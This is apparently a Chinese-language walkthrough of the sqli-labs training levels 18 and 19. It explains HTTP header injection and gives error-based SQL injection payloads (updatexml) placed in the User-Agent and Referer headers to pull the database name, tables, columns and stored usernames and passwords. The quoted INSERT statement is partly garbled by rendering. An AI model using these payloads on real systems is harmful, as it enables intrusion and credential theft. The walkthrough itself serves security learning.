sqli-labs less-18 http头user-agent注入

HTTP头注入

常见的HTTP注入点产生位置为【Referer】、【X-Forwarded-For】、【Cookie】、【X-Real-IP】、【Accept-Language】、【Authorization】

HTTP Referer是header头的一部分,从哪个网页了链接过来的

X-Forwarded-For 简称XXF头,代表客户端,用来记录代理信息,每经过一级处理,代理服务器都把这次请求的来源IP追加在XFF头上

COOkie:指某些网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据(通常经过加密)

X-Real-IP:是一个自定义的Header,一般只记录真实发出请求的客户端IP

Accept-Language 请求头允许客户端声明它可以理解的自然语言,以及优先选择的区域方言

本关卡是模拟登录情况下的注入。我们需要先登录一个账号,这里我以admin,admin为列。

登入后页面回显IP和User-Agent,抓包在bp中进行测试

less-18

抓包

HTTP报文如上图,在实际的环境中,如果我们没有获取到网站源码,进行黑盒测试,就需要对每一个注入点进行测试,而在这个模拟环境中,我们知道源码,所以可以直接白盒测试。

源码


从源代码中我们可以看到POST的uname和passwd都做了check_input()处理,,所以表单不存在注入点。在登录成功后,Insert语句出错还会返回mysql的错误信息。
不论是否登录成功,都会回显IP。
登陆成功后回显uagent,并将uagent、IP、uname插入到security数据库的uagents表的uagent、ip_address、username三个字段中。
而且这里要输入正确的账号和密码才能绕过账号密码判断,进入处理User-Agent部分。这跟现实中的注册登录再注入是比较贴合。所以注入点就在User-Agent处,且是单引号型报错注入。

接下来开始注入

构造payload

源码insert语句为

INSERT INTO security.uagents (uagent, ip_address, username) VALUES (' u a g e n t ′ , ′ uagent', ' uagent′,′IP', $uname)

所以我们构造

1',2,3) #

闭合方式。不能使用--来注释,这是HTTP报文,不是URL,URL解释+为空格

1' or updatexml(1,concat(0x7e,(select database())) or ',3) ,2,3) #

因为插入语句使用or来连接

得到数据库名

爆表

。' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) or ',2,3) #

爆列

User-Agent:' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')),3) or ',2,3) #

数据

User-Agent:' or updatexml(1,concat(0x7e,substring((select group_concat(username,'-',password) from security.users),30,30)),3) or ',2,3) #

,因为报错回显只能有32个字符,使用sustring函数,通过修改substring的值,来获取所有数据

less-19

登入进去,页面回显IP和Referer

根据上一关,此次使用Referer来进行报错注入

使用方法与上一关一样,只不过将User-Agent的位置变成了Referer。

库名

Referer: ' or updatexml(1,concat(0x7e,(select database())),3) or',1,1) #

表名

Referer: ' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) or',1,1) #

列名

Referer: ' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')),3) or',1,1) #

数据

Referer: ' or updatexml(1,concat(0x7e,substring((select group_concat(username,':',password) from security.users),1,30)),3) or',1,1) #方法同less-18

相关推荐
xvch1 小时前
Kotlin 2.1.0 入门教程(二十五)类型擦除
android·kotlin
夜泉_ly1 小时前
MySQL -安装与初识
数据库·mysql
一天八小时2 小时前
计算机网络————(一)HTTP讲解
网络协议·计算机网络·http
qq_529835352 小时前
对计算机中缓存的理解和使用Redis作为缓存
数据库·redis·缓存
月光水岸New5 小时前
Ubuntu 中建的mysql数据库使用Navicat for MySQL连接不上
数据库·mysql·ubuntu
狄加山6755 小时前
数据库基础1
数据库
我爱松子鱼5 小时前
mysql之规则优化器RBO
数据库·mysql
chengooooooo5 小时前
苍穹外卖day8 地址上传 用户下单 订单支付
java·服务器·数据库
Rverdoser6 小时前
【SQL】多表查询案例
数据库·sql
Galeoto6 小时前
how to export a table in sqlite, and import into another
数据库·sqlite